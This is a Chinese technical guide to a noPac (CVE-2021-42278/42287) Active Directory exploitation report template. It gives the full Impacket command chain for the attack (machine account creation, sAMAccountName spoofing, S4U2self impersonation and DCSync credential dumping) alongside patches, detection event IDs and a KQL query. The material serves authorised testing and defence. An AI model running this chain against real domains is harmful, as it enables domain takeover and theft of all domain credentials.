编写 noPac(CVE-2021-42278 / CVE-2021-42287)Active Directory 提权利用报告:靶机信息、利用步骤与修复清单
编写 noPacCVE-2021-42278 / CVE-2021-42287Active Directory 提权利用报告靶机信息、利用步骤与修复清单【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本篇技术指南以 Anthropic-Cybersecurity-Skills 仓库中 noPac 利用报告模板 为骨架完整展开 noPacCVE-2021-42278 与 CVE-2021-42287 组合链从漏洞扫描、机器账户创建、sAMAccountName 伪装、TGT 请求、S4U2self 模拟到 DCSync 提权的完整攻击流程并配套修复清单与检测指标。读者读完后能够掌握填写结构化利用报告的全部字段口径、复现完整利用链的 Impacket 命令序列以及从攻防双重视角评估与缓解该漏洞的实战方法。报告模板定位与使用场景template.md 是一份面向 AI Agent 与红队人员的结构化利用报告模板用于在授权渗透测试中记录 noPac 攻击链的证据链。模板由三张核心表格构成靶机信息Target Information、利用步骤Exploitation Steps与修复项Remediation。它要求测试者逐项填写漏洞环境的关键属性、每一步利用动作的结果状态与时间戳以及后续修复动作的优先级。该模板的完整上下文由 SKILL.md 支撑——后者定义了技能元数据name: exploiting-nopac-cve-2021-42278-42287、domain/subdomain、MITRE ATTCK 与 NIST CSF 映射以及四阶段利用工作流同时仓库还提供了 API 参考、标准与参考资料、工作流速览以及两个可直接运行检测的脚本agent.py、process.py。法律声明引自 SKILL.md本技能仅用于授权的安全测试与教育目的。未经授权对你不拥有或未获得书面许可的系统进行利用属于违法行为可能触犯计算机欺诈相关法律。漏洞背景两条 CVE 如何组合成完整提权链noPac 并非单一漏洞而是两条 Active Directory 漏洞的组合利用链CVE描述CVSS补丁CVE-2021-42278sAMAccountName 伪装机器账户7.5KB5008102CVE-2021-42287KDC PAC 混淆 / 权限提升7.5KB5008380CVE-2021-42278允许攻击者将一个机器账户的sAMAccountName属性修改为与域控制器名称一致去掉末尾的$。由于机器账户改名缺少必要的校验攻击者可以制造域控账户的同名实体。CVE-2021-42287则利用了 Kerberos PAC 验证中的缺陷当 KDC 无法通过解析后的名称找到对应账户时会回退为追加$并继续签发票据从而为实际域控账户如DC01$发放票据。组合后的效果是任何通过身份认证的普通域用户都能在约 60 秒内提权为 Domain Admin甚至可能通过 DCSync 拖取全域凭据。微软于 2021 年 11 月发布了 KB5008380 与 KB5008602 修复但许多环境至今仍未打补丁。该利用链由 cube0x0 与 Ridter 于 2021 年 12 月公开也是 references/standards.md 中记录的关键研究主题CrowdStrike、Fortinet、TrustedSec 均有对应分析文章。一、Target Information靶机信息表填写口径报告的第一部分要求记录目标环境的身份信息是后续证据链的主语。模板中的字段及填写口径如下字段填写说明Domain目标域 FQDN如domain.local用于构造 LDAP 查询与 Kerberos 主体名DC Hostname域控主机名不带$如DC01是 sAMAccountName 伪装的目标名称DC IP域控 IP如10.10.10.1所有 Impacket 工具通过-dc-ip指定Initial User发起攻击的初始普通域账号用于验证标准用户 → Domain Admin的提权前提MachineAccountQuota域属性ms-DS-MachineAccountQuota默认值为 10即任何域用户可创建 10 个机器账户 0才具备利用前提Patch Level目标 DC 的补丁状态重点核对 KB5008380 / KB5008602 是否已安装其中MachineAccountQuota 是整个利用链的开关。仓库 SKILL.md 给出了两种核验方式# 通过 ldap3 查询Python python3 -c import ldap3 server ldap3.Server(10.10.10.1) conn ldap3.Connection(server, domain.local\\user, Password123, auto_bindTrue) conn.search(DCdomain,DClocal, (objectClassdomain), attributes[ms-DS-MachineAccountQuota]) print(conn.entries[0][ms-DS-MachineAccountQuota]) # 通过 ADSI 查询PowerShell见 api-reference.md ([ADSI]LDAP://DCdomain,DClocal).ms-DS-MachineAccountQuota # 默认值10任何域用户可创建 10 个机器账户对应的 LDAP 过滤器为((objectClassdomain)(ms-DS-MachineAccountQuota1))表示配额大于等于 1 的域对象即为潜在可利用目标。二、Exploitation Steps利用步骤报告表模板中的利用步骤表是整个报告的核心逐条对应攻击链的六个关键动作步骤动作预期结果1漏洞扫描Vulnerability scanVulnerable / Not Vulnerable2机器账户创建Machine account creationSuccess / Failed3sAMAccountName 伪装sAMAccountName spoofingSuccess / Failed4TGT 请求TGT requestTicket obtained / Failed5S4U2self 模拟S4U2self impersonationDA ticket / Failed6DCSyncHashes dumped / Failed每一行都应记录结果状态与精确时间戳Timestamp形成可审计的攻击时间线。下面结合 SKILL.md 的四阶段工作流说明每一步的具体执行方式。步骤 1漏洞扫描Phase 1# cube0x0 的 noPac 扫描器 python3 scanner.py domain.local/user:Password123 -dc-ip 10.10.10.1 # CrackMapExec 模块 crackmapexec smb 10.10.10.1 -u user -p Password123 -M nopac步骤 25自动化利用链Phase 2noPac.pyImpacket 实现会自动完成从机器账户创建到 S4U2self 模拟的完整链条# cube0x0 版本在 DC 上获得 shell python3 noPac.py domain.local/user:Password123 -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap # Ridter 版本备选实现直接拖取凭据 python3 noPac.py domain.local/user:Password123 -dc-ip 10.10.10.1 \ --impersonate administrator -dumpapi-reference.md 还提供了对应的扫描与脱密参数变体noPac.py domain.local/user:password -dc-ip 10.10.10.1 --scan # 仅扫描 noPac.py domain.local/user:password -dc-ip 10.10.10.1 -use-ldap -shell noPac.py domain.local/user:password -dc-ip 10.10.10.1 -use-ldap -dump该工具自动执行的内部动作序列为据 SKILL.md 与 api-reference.md 的攻击链描述创建新机器账户或复用已有账户将机器账户的sAMAccountName改名为与 DC 同名如DC01为伪装名称请求 TGT恢复原始sAMAccountName使用 S4U2self 获取模拟目标用户的服务票据KDC 找不到与DC01匹配的账户回退追加$后为真实 DC 账户DC01$发放票据。步骤 6DCSync 凭据拖取Phase 3拿到域控票据后即可执行 DCSyncexport KRB5CCNAMEadministrator.ccache secretsdump.py -k -no-pass domain.local/administratorDC01.domain.local或者直接通过 noPac shell 以 DC 上的 SYSTEM 权限操作。手动利用序列Phase 4当自动化工具不可用或需要逐步骤取证时SKILL.md 提供了完整的手动利用序列workflows.md 将其概括为六步工作流# 1. 创建机器账户 addcomputer.py -computer-name ATTACKPC$ -computer-pass AttackPass123 \ -dc-ip 10.10.10.1 domain.local/user:Password123 # 2. 清除 SPN 并将 sAMAccountName 改为 DC 名不带 $ renameMachine.py -current-name ATTACKPC$ -new-name DC01 \ -dc-ip 10.10.10.1 domain.local/user:Password123 # 3. 为伪装名称请求 TGT getTGT.py -dc-ip 10.10.10.1 domain.local/DC01:AttackPass123 # 4. 恢复原始机器账户名 renameMachine.py -current-name DC01 -new-name ATTACKPC$ \ -dc-ip 10.10.10.1 domain.local/user:Password123 # 5. 使用 S4U2self 模拟 administrator请求 cifs 服务票据 export KRB5CCNAMEDC01.ccache getST.py -self -impersonate administrator -altservice cifs/DC01.domain.local \ -k -no-pass -dc-ip 10.10.10.1 domain.local/ATTACKPC$三、Remediation修复与缓解清单模板的第三部分是修复清单按其优先级组织动作优先级状态应用 KB5008380Critical应用 KB5008602Critical将 MachineAccountQuota 设为 0High监控事件 4741 / 4742Mediumapi-reference.md 给出了补充修复步骤应用 KB5008380 补丁将 MachineAccountQuota 设为 0监控事件 4741 与 4781 的异常在所有 DC 上启用 PAC 验证。process.py 的报告中还给出了 PowerShell 落地命令Set-ADDomain -Identity domain.local -Replace {ms-DS-MachineAccountQuota0}仓库记录的补丁矩阵如下KB 编号以仓库文档为准KB说明KB50083802021 年 11 月补丁Kerberos PAC 修复KB5008602OOB 补丁sAMAccountName 修复KB5008207累积更新KB5008102CVE-2021-42278 对应补丁四、检测指标与监控建议报告完成后可对照 SKILL.md 的检测签名表将证据映射为 SIEM 告警规则指标检测方法机器账户 sAMAccountName 变更事件 4742计算机账户变更中 sAMAccountName 被修改新机器账户创建事件 4741计算机对象创建无尾缀$账户的 TGT 请求Kerberos 审计日志分析非 DC 机器账户发起 S4U2self事件 4769 出现异常服务票据请求创建账户 → 改名 → 请求 TGT 的快速序列针对 noPac 攻击模式的 SIEM 关联规则api-reference.md 补充了更完整的事件 ID 表4741 计算机账户创建、4742 计算机账户修改、4743 计算机账户删除、4781 账户改名、4768 TGT 请求并给出了 KQL 检测查询示例SecurityEvent | where EventID 4781 | where TargetUserName !endswith $ | where TargetUserName in (DC01, DC02)五、仓库脚本把报告流程自动化仓库为报告模板提供了两个可直接运行的自动化脚本将扫描 → 评估 → 出报告的流程固化agent.py — 检测 Agentagent.py 是一个命令行检测工具覆盖三个检查维度check_nopac_impacket()调用noPac.py ... --scan通过输出中是否出现VULNERABLE或success判定漏洞状态check_machineaccountquota()通过 PowerShell ADSI 查询ms-DS-MachineAccountQuotaquota 0即判定exploitablecheck_patch_status()在 Windows 平台调用wmic qfe list brief核对 KB5008380 / KB5008602 / KB5008207 是否安装。其main()会根据任一检查为真vulnerable或exploitable将risk_level汇总为CRITICAL并支持-o输出 JSON 报告python3 agent.py --domain domain.local --username user --password Password123 \ --dc-ip 10.10.10.1 --check-patch -o nopac_report.jsonprocess.py — 评估与报告生成process.py 提供纯命令行工作流先通过ldap3内联脚本检查配额exploitable: quota 0再调用scanner.py执行 noPac 扫描最后生成包含目标信息、配额检查结果、扫描结果与修复建议的文本报告python process.py 10.10.10.1 domain.local user Password123该脚本的输出结构与 template.md 的表格字段一一对应Target DC对应 DC IP、MachineAccountQuota对应配额字段、VULNERABLE / NOT VULNERABLE对应漏洞扫描结果[Remediation]段则直接输出四条修复建议KB5008380、KB5008602、配额置零、监控 4741/4742并自动保存带时间戳的评估报告文件。六、MITRE ATTCK 映射与验证标准standards.md 将整个攻击链映射到 MITRE ATTCK 战术框架技术 ID名称战术T1068Exploitation for Privilege Escalation权限提升T1136.002Create Account: Domain Account持久化T1078.002Valid Accounts: Domain Accounts初始访问T1558Steal or Forge Kerberos Tickets凭据访问T1003.006OS Credential Dumping: DCSync凭据访问此外SKILL.md 的 front matter 还关联了 D3FEND 技术Platform Monitoring、Process Analysis 等与 NIST CSF 控制项ID.RA-01、GV.OV-02、DE.AE-07便于将利用演练纳入组织级风险与监控评估。在最终提交报告前请对照 SKILL.md 的验证清单逐项确认已对域执行 noPac 漏洞扫描已核验 MachineAccountQuota默认 10利用链执行成功获得 shell 或完成 DCSync已从标准用户获取 Domain Admin 权限已执行 DCSync 拖取域凭据已获取 KRBTGT 哈希用于持久化验证攻击链已带时间戳完整记录已核验补丁状态KB5008380、KB5008602总结noPac 利用报告模板将扫描 → 建号 → 伪装 → TGT → S4U2self → DCSync → 修复这条完整链路压缩为三张可审计的结构化表格是红队演练证据记录与蓝队检测加固的公共语言。本文结合仓库 SKILL.md、api-reference.md 与两个自动化脚本给出了每个字段的填写口径、每条命令的可复现参数以及对应的检测事件与修复动作——无论你是在授权渗透测试中执行该利用链还是在 SOC 中构建针对 sAMAccountName 伪装与异常 TGT 请求的检测规则都可以将这份模板作为攻击方与防御方统一的证据与基线框架。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考